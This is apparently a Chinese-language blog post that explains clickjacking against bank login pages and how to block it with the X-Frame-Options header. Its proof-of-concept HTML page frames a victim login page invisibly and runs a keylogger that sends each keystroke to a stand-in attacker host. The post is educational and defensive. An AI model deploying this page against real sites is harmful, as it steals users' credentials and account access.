• ClickJacking(掛羊頭賣狗肉)的駭客攻擊方法

    這篇文章主要說明一種特別的攻擊方式ClickJacking,

    駭客透過一個假的網頁誘導使用者輸入帳號密碼,但是實際上背後是銀行網站。

    讓使用者在不知不決的狀況下就登入銀行網站。這樣的攻擊方式就稱為 ClickJacking。

    但是如何測試或是知道網站是否會被受到這樣的攻擊呢?  如何防護? 這篇文章將說明這些議題。

    ClickJacking攻擊原理

    駭客通常利用網頁的 iFrame 將假造的網頁與正常的網頁載入,在透過 iframe visibility 的屬性設定,

    將正常網站的網頁(如:銀行網頁)隱藏,讓使用者看到是一個假造的網頁(如:中獎通知)

    當使用者輸入帳號密碼時,其實背後是登入實際的網站。駭客因此藉接獲取該銀行的帳號密碼與存取權限。

    因此,要知道網站是否會收到這樣的攻擊,就必須測試網站是否可以在任意的 HTML iframe 被載入。

    iFrame 載入測試

    如何測試?

    可以利用筆者下列提供的範例程式。

    1. 產生一個 ClickJacking.html 將下列程式複製貼上

    2. 將程式碼中的網址改成受測網站。”https://banking-Victim.site/login”

    3. 用瀏覽器開啟這個 ClickJacking.html

    4. 如果受測網站會正常的顯示在 iFrame中,表示該網站會受到 ClickJacking的攻擊

    <html> 
    <head> 
    <title>Clickjacking Proof of Concept</title> 
    <STYLE type="text/css"> #d
    
    	{ position: absolute;  margin-top:260px;  left:1px;  } 
    	#block{ position: absolute;  z-index: 99;  left: 1px;  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; 
    	filter: alpha(opacity=0);  -moz-opacity: 0;  -khtml-opacity: 0;  opacity: 0;  } 
    	.a { position: absolute;  height: 250px;  width: 400px;  top:0px;  left:5px;  } 
    </STYLE>
    
    <script> 
    	var keylog='';  
    	var t = document.getElementById("captured");  
    	document.onkeypress = 
    		function (e) 
    		{ evt = e || window.event;  
    			k = evt.which || evt.keyCode;  
    			var t = document.getElementById("captured");  
    			t.innerHTML = keylog += String.fromCharCode(k);  
    			var attackerimg = new Image;  attackerimg.src = "http://hacker-website.com" + String.fromCharCode(k);  
    		
    		} 
    	
    	function setFocus()
    	{ var i = document.getElementById('fake');  
    		i.style.display="";  
    		i.focus();  
    		i.style.display="none";  
    	} </script> </head> <BODY> 
    	
    
    	<iframe class="a" onload="setFocus()" onfocus="setFocus(); 
    	
    		" src="https://banking-Victim.site/login" auto">
    
    		</iframe> 
    	
    	<div class="a" id="block"><input id="fake" type="text"></div>
    	<div id="d">Captured User Input: <div id="captured"></div> </div> 
    
    </BODY> 
    </html>

    這段程式是做什麼呢? 模擬駭客竊取帳號密碼的方式。

    當載入的網頁是登入的網頁,使用者輸入帳號密碼,這個 ClickJacking的網頁 JavaScript 程式會印出該輸入的帳號密碼。

     

    如何避免這樣的攻擊?

    這樣的攻擊防護很容易。只要在 Http Header 設定 X-Frame-Option即可。

    在哪裡設定呢? 通常一般的網站伺服器就可以做這個設定。

    Apache

    Header always append X-Frame-Options SAMEORIGIN

    IIS  Web.config

    <system.webServer>

    <httpProtocol>
    <customHeaders>
    <add name=”X-Frame-Options” value=”SAMEORIGIN” />
    </customHeaders>
    </httpProtocol>

    </system.webServer>

    X-Frame-Options限制?

    太舊的瀏覽器並不支援 X-Frame-Options。隨著時間的經過,筆者認為這慢慢不是一個問題。

    畢竟這些版本的瀏覽器在市面上越來越少。

    Browser DENY/SAMEORIGIN Support Introduced ALLOW-FROM Support Introduced
    Chrome 4.1.249.1042 Not supported/Bug reported
    Firefox (Gecko) 3.6.9 (1.9.2.9) 18.0
    Internet Explorer 8.0 9.0
    Opera 10.50
    Safari 4.0 Not supported/Bug reported

    :

     

     

     

     

     

    Posted by Tony @ 9:40 am

  • Leave a Reply

    Your email address will not be published.